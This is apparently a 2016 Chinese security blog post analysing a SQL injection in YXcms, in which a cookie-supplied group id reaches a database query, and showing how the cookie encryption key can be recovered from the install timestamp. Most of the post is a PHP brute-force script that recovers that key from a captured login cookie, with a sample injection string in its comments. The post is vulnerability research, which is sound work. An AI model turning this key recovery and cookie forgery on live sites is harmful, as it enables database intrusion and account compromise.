YXcms前台注入(有限制但可以绕过)

这个cms很久前做过代码审计,很多问题,但是经过这么长时间,现在安全性提高了不少,这几天看了下,基本没有什么特别大的问题了(不包含后台)。

在yxcms/protected/apps/member/controller/indexController.php中,index方法,有如下代码:

$group_id=$this->auth['groupid']?$this->auth['groupid']:1;
$notallow=model('memberGroup')->find("id={$group_id}");

这里从$this->auth里取出groupid,并且直接带入sql语句,明显是注入。查查auth如何来的,跟入到yxcms/protected/apps/member/memberApi.php里,powerCheck方法,看到是cookie里带入的,而cookie里的数据都是加密过的:

function get_cookie($var,$key='',$pre='') 
{
	    if(function_exists('config')){
			$key=$key?$key:config('ENCODE_KEY');
		    $pre=$pre?$pre:config('COOKIE_PRE');
		}
		$var = $pre.$var;
		return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';
}

这里用解密函数cp_decode将之解密,并返回,跟入解密函数,发现解密函数只需要一个key即可。而key是哪里来的?跟入,发现在安装时随机产生:

$this->randomcode= substr(cp_encode(time()),-6);`
cp_encode函数将当前时间戳加密,取后六位得到key值,跟入cp_encode:

function cp_encode($data,$key='',$expire = 0)
{
    $string=serialize($data);
    $ckey_length = 4;
    $key = md5($key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = substr(md5(microtime()), -$ckey_length);
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    
    $string =  sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) 
    {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) 
    {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) 
    {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    return $keyc.str_replace('=', '', base64_encode($result));      
}

看到这里还有一个变量,microtime(),这个函数返回一个字符串,内容是微秒数加空格加当前时间戳。如果知道这个字符串,就能生成key了。

又知道,当安装时,会生成install.lock,我们访问下,可以从header里得到last-modified,这样就知道了时间戳的值了。但是微秒数就需要枚举了,微秒数共8位,也就是从0.00000000到0.99999999。

因为普通用户登录,就会分配一个yx_auth的cookie,也就是一个经过加密的字符串,而原字符串里包含用户的名称。并且,因为加密和时间有关,解密却不需要时间。

所以综上,可以写一个爆破脚本,遍历所有微秒数,生成key,然后用key生成一个sql注入字符串,再访问漏洞页面即可。

脚本:

<?php
//var_dump(urlencode(cp_encode('1\t2\'\tsunrain\tsunrain\'\t127.0.0.1\t\t',"yXBgXe",0)));
//var_dump(urlencode(cp_encode('',"yXBgXe",0)));
//get_cookie();
//exit;
date_default_timezone_set("PRC");
$wanted = "b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ";
$i = 0;
$sec = strtotime("Wed, 21 Sep 2016 07:35:20 GMT");
while($i<=99999999)
{
    echo ($i/99999999.0)*100;
    echo "%\n";
    $mytime = sprintf("0.%08d", $i);
    $mytime .= " ".$sec;
    $i+=1;
    $key = substr(my_cp_encode($mytime, $sec),-6);
    $got = cp_decode($wanted,$key);
    if(strpos($got, 'sunrain')!==false){
        echo $key;
        exit;
    }
}
function get_cookie() 
{
        $key = "M9/MGX";        
        return cp_decode("b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ",$key);
}
function my_cp_encode($mytime, $data,$key='',$expire = 0)
{
    $string=serialize($data);
    $ckey_length = 4;
    $key = md5($key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));    
    $keyc = substr(md5($mytime), -$ckey_length);
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    
    $string =  sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) 
    {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) 
    {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) 
    {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    return $keyc.str_replace('=', '', base64_encode($result));      
}
function cp_encode($data,$key='',$expire = 0)
{
    $string=serialize($data);
    $ckey_length = 4;
    $key = md5($key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = substr(md5(microtime()), -$ckey_length);
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    
    $string =  sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) 
    {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) 
    {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) 
    {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    return $keyc.str_replace('=', '', base64_encode($result));      
}
function cp_decode($string,$key='')
{
    $ckey_length = 4;
    $key = md5($key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = substr($string, 0, $ckey_length);
    
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    
    $string =  base64_decode(substr($string, $ckey_length));
    $string_length = strlen($string);
    
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) 
    {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) 
    {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) 
    {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
        return unserialize(substr($result, 26));
    }
    else
    {
        return '';
    }   
}
?>

不过,这样枚举还是很慢,我跑了几个小时,还是没跑出来……

所以,直接用config.php里的key值生成了一个有问题的字符串,然后访问localhost/yxcms?r=member/index/index:

所以,这个漏洞还是有些限制,就是需要知道key值。不过,还是可以爆破出来的,理论上…………

posted @ 2016-09-23 10:40  tdifg  阅读(1812)  评论(0编辑  收藏  举报